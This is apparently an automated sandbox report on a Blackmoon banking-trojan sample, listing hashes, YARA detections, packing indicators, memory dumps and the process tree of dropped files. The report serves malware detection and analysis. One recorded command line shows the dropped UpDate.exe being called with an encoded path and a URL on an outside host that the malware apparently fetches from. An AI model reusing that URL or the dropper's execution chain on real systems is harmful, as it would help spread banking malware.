blackmoon | 08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9

General

Target

08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
Size

1.2MB
MD5

46f5c782c75543890fa65123b9eca01a
SHA1

82f6f68b26669467e65795789129f7d4745ce520
SHA256

08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9
SHA512

58ff8d5bf09dc81e5d567673e4e630e6a4ac8916e483f1404cc663a50e3c33906e2d2b3795badb5f4c8507d589ae8fa7bba1fb32efe81c437c1560072c159958
SSDEEP

24576:nZqEW3VUoK63ZiglUaMQ2uZEGQoIVwxn8kK2o:bW3K6ZF6aMJui4I258kK

Score

10^/10

blackmoon banker trojan upx

Malware Config

Signatures

Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
trojan banker blackmoon

Detect Blackmoon payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1084-134-0x0000000000400000-0x000000000072B000-memory.dmp	family_blackmoon
C:\Users\Admin\AppData\Local\Temp\data\UpDate.exe	family_blackmoon
C:\Users\Admin\AppData\Local\Temp\data\UpDate.exe	family_blackmoon
behavioral2/memory/1084-183-0x0000000000400000-0x000000000072B000-memory.dmp	family_blackmoon
behavioral2/memory/2720-187-0x0000000000400000-0x000000000072B000-memory.dmp	family_blackmoon
behavioral2/memory/2720-234-0x0000000000400000-0x000000000072B000-memory.dmp	family_blackmoon
C:\Users\Admin\AppData\Local\Temp\data\Bugreport.dll	family_blackmoon
C:\Users\Admin\AppData\Local\Temp\data\Bugreport.dll	family_blackmoon

Executes dropped EXE 3 IoCs

Processes:

UpDate.exe08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exeBugreport.dll

pid process

4500 UpDate.exe
2720 08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2752 Bugreport.dll

pid	process
4500	UpDate.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2752	Bugreport.dll

UPX packed file 41 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1084-132-0x00000000026D0000-0x0000000002742000-memory.dmp	upx
behavioral2/memory/1084-133-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-135-0x00000000026D0000-0x0000000002742000-memory.dmp	upx
behavioral2/memory/1084-136-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-138-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-137-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-140-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-142-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-144-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-146-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-148-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-150-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-152-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-154-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-156-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-158-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-160-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-162-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-164-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-166-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-168-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-170-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-172-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-174-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-176-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-178-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/1084-182-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-186-0x00000000026A0000-0x0000000002712000-memory.dmp	upx
behavioral2/memory/2720-188-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-191-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-192-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-194-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-190-0x00000000026A0000-0x0000000002712000-memory.dmp	upx
behavioral2/memory/2720-196-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-198-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-202-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-200-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-204-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-206-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-208-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/2720-233-0x0000000010000000-0x000000001003E000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe

pid	process
1084	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
1084	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exeBugreport.dll

pid	process
1084	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
1084	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
1084	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
2752	Bugreport.dll

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exeUpDate.exe08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe

description	pid	process	target process
PID 1084 wrote to memory of 4500	1084	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe	UpDate.exe
PID 1084 wrote to memory of 4500	1084	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe	UpDate.exe
PID 1084 wrote to memory of 4500	1084	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe	UpDate.exe
PID 4500 wrote to memory of 2720	4500	UpDate.exe	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
PID 4500 wrote to memory of 2720	4500	UpDate.exe	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
PID 4500 wrote to memory of 2720	4500	UpDate.exe	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
PID 2720 wrote to memory of 2752	2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe	Bugreport.dll
PID 2720 wrote to memory of 2752	2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe	Bugreport.dll
PID 2720 wrote to memory of 2752	2720	08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe	Bugreport.dll

C:\Users\Admin\AppData\Local\Temp\08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
"C:\Users\Admin\AppData\Local\Temp\08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1084

C:\Users\Admin\AppData\Local\Temp\data\UpDate.exe
C:\Users\Admin\AppData\Local\Temp\data\UpDate.exe 2.1 %43%3A%5C%55%73%65%72%73%5C%41%64%6D%69%6E%5C%41%70%70%44%61%74%61%5C%4C%6F%63%61%6C%5C%54%65%6D%70%5C%30%38%62%33%61%33%62%66%38%35%62%62%31%35%31%34%31%30%63%66%36%39%65%63%30%61%39%32%64%35%31%31%31%37%39%64%33%35%36%34%65%39%34%36%32%61%34%32%37%35%31%63%31%36%35%61%31%31%32%65%32%36%62%39%2E%65%78%65 ¼Ù http://gutou.cc/up/qq_shuoshuofabiao.txt
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4500

C:\Users\Admin\AppData\Local\Temp\08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
C:\Users\Admin\AppData\Local\Temp\08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe ÃüÁîÆô¶¯
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2720

C:\Users\Admin\AppData\Local\Temp\data\Bugreport.dll
C:\Users\Admin\AppData\Local\Temp\data\Bugreport.dll %42%75%67%72%65%70%6F%72%74 %E6%89%B9%E9%87%8F%E8%AF%B4%20
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2752

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
Filesize
1.2MB

MD5
0faaecefc49ed18277f779e76595b6a6

SHA1
b2672dc395886f2ce5f4d4fd8a84f37d55fc3538

SHA256
247142a32674e91e5bb914eea8f2543b13445658b547c8da7546f912daa866f8

SHA512
65f2cb25a9ae6ba439445fad2e0d8489ee13ff8047a9d130ea38ffd6510b720b72773d32532181e63e650e3ae3362da0e59138a30c1a59c2eb96266974efc130

Download Submit
C:\Users\Admin\AppData\Local\Temp\08b3a3bf85bb151410cf69ec0a92d511179d3564e9462a42751c165a112e26b9.exe
Filesize
1.2MB

MD5
0faaecefc49ed18277f779e76595b6a6

SHA1
b2672dc395886f2ce5f4d4fd8a84f37d55fc3538

SHA256
247142a32674e91e5bb914eea8f2543b13445658b547c8da7546f912daa866f8

SHA512
65f2cb25a9ae6ba439445fad2e0d8489ee13ff8047a9d130ea38ffd6510b720b72773d32532181e63e650e3ae3362da0e59138a30c1a59c2eb96266974efc130

Download Submit
C:\Users\Admin\AppData\Local\Temp\data\Bugreport.dll
Filesize
200KB

MD5
14b52ec6cd16f1b730cb513d10c3da0c

SHA1
7546c64c479f24bc7af13a9f1916a2da30d19ecb

SHA256
8f46a3762f0fcbb677c8648fd4e161308ad3f63782f9d709ecd8456bae214860

SHA512
77fb3925e94c83ce3f17d91604c4091622c7e088348c55dee015e46c4dc8b64e1ddb93b05d0d715a8b66518fbf57b592692301312ca3b9b80f83187f1586860d

Download Submit
C:\Users\Admin\AppData\Local\Temp\data\Bugreport.dll
Filesize
200KB

MD5
14b52ec6cd16f1b730cb513d10c3da0c

SHA1
7546c64c479f24bc7af13a9f1916a2da30d19ecb

SHA256
8f46a3762f0fcbb677c8648fd4e161308ad3f63782f9d709ecd8456bae214860

SHA512
77fb3925e94c83ce3f17d91604c4091622c7e088348c55dee015e46c4dc8b64e1ddb93b05d0d715a8b66518fbf57b592692301312ca3b9b80f83187f1586860d

Download Submit
C:\Users\Admin\AppData\Local\Temp\data\Bugreport.ini
Filesize
52B

MD5
8d61631864b10dac32b53c394d3e18f0

SHA1
b04e1a84d959fcc86183be01815e39dfa2d4517e

SHA256
c400166cf77bbe288f94df9f96168de409b002df28244a3504e95c7a84d54e2d

SHA512
e19381619aed717b83072b190654af2a50c1c1a5fec11b53221b777d9873b4d9157e2d553d1cdc9d462738f2f9fb3ef51ce1f505da6cc985db56d2ad3dbdeb2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\data\UpDate.exe
Filesize
213KB

MD5
86ccb6cd12445f9e9741d51d483a80a5

SHA1
bcfe9946c3fd96b1d167ace0e885593db242ef6c

SHA256
fc5837a429e357cc966c9516c285dbdc8a4012cde52c28d964714738e0426071

SHA512
7d3bbf70d70540490fb0af022bcf7b9bf589f4cef215d8799dc3881e9bed687e52b8fbf91f02e138cf6da299951553762ddf8cf0de759532b279b339d01c17e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\data\UpDate.exe
Filesize
213KB

MD5
86ccb6cd12445f9e9741d51d483a80a5

SHA1
bcfe9946c3fd96b1d167ace0e885593db242ef6c

SHA256
fc5837a429e357cc966c9516c285dbdc8a4012cde52c28d964714738e0426071

SHA512
7d3bbf70d70540490fb0af022bcf7b9bf589f4cef215d8799dc3881e9bed687e52b8fbf91f02e138cf6da299951553762ddf8cf0de759532b279b339d01c17e1

Download Submit
memory/1084-178-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-182-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-144-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-146-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-148-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-150-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-152-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-154-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-156-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-158-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-160-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-162-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-164-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-166-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-168-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-170-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-172-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-174-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-176-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-132-0x00000000026D0000-0x0000000002742000-memory.dmp

Filesize
456KB

Download
memory/1084-134-0x0000000000400000-0x000000000072B000-memory.dmp

Filesize
3.2MB

Download
memory/1084-140-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-137-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-142-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-183-0x0000000000400000-0x000000000072B000-memory.dmp

Filesize
3.2MB

Download
memory/1084-133-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-138-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1084-135-0x00000000026D0000-0x0000000002742000-memory.dmp

Filesize
456KB

Download
memory/1084-136-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-202-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-233-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-191-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-190-0x00000000026A0000-0x0000000002712000-memory.dmp

Filesize
456KB

Download
memory/2720-188-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-187-0x0000000000400000-0x000000000072B000-memory.dmp

Filesize
3.2MB

Download
memory/2720-196-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-198-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-194-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-200-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-206-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-204-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-208-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-192-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/2720-234-0x0000000000400000-0x000000000072B000-memory.dmp

Filesize
3.2MB

Download
memory/2720-186-0x00000000026A0000-0x0000000002712000-memory.dmp

Filesize
456KB

Download
memory/2720-184-0x0000000000000000-mapping.dmp

Download
memory/2752-235-0x0000000000000000-mapping.dmp

Download
memory/4500-179-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads